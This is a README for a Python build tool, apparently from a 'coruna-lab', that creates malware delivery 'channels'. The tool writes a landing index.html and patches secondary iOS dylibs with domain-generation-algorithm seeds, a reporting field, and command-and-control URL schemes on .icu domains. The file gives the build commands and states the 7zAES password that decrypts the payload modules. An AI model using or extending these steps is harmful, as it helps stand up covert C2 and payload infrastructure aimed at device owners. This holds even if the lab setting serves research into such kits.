42 lines
1.9 KiB
Markdown
42 lines
1.9 KiB
Markdown
# channel-builder-new
|
|
|
|
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
|
|
(lab `web/` + `sync/` layout). New-type channels are distinguished by
|
|
`/source/{channel_name}/index.html`.
|
|
|
|
This pass patches **weifile secondary type-0x01 only** (DGA seeds + reporting
|
|
field `c`). `details/` is copied as-is (core/`c` not rewritten yet).
|
|
|
|
```bash
|
|
cd channel-builder-new
|
|
python3 -m venv .venv
|
|
.venv/bin/pip install -r requirements.txt
|
|
|
|
.venv/bin/python tools/build.py \
|
|
--channel-name <8-32-alnum> \
|
|
--apply --force
|
|
```
|
|
|
|
Writes `{artifact-root}/source/{channel_name}/` (landing `index.html`) and
|
|
shared `{artifact-root}/details/` (default `../public`).
|
|
|
|
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
|
|
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
|
|
First generate writes one random seed and copies it to both deployment and
|
|
reporting (same as `channel-builder`). CLI pair must also match. The first 5
|
|
PLServerPool DGA candidates are stored in `lab_seeds.json` and returned in
|
|
the create result (`domains.deployment` / `domains.reporting`).
|
|
|
|
| Flag | What it replaces | Where |
|
|
|------|------------------|--------|
|
|
| `--deployment-seed` | DGA seed → `%@.icu` / `backup%u.icu` | secondary dylibs (1 hit each) |
|
|
| `--reporting-seed` | Reporting DGA seed | secondary dylibs (1 hit each) |
|
|
| `--channel-c` | Native report field `c` (`202700cf…`) | secondary dylibs (1 hit each) |
|
|
| `--scheme` | Native DGA/C2 URL scheme (`https://%@` / `https://backup%u.icu`) | secondary dylibs (default `https`; `http` is ATS-blocked on device for `.icu` hosts) |
|
|
|
|
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
|
|
(one nibble off `c`). Details modules still decrypt with that password.
|
|
|
|
`index.js` iptj URL / `channelCode` are not patched here. Native `/event`
|
|
`c` still comes from core until a later details pass.
|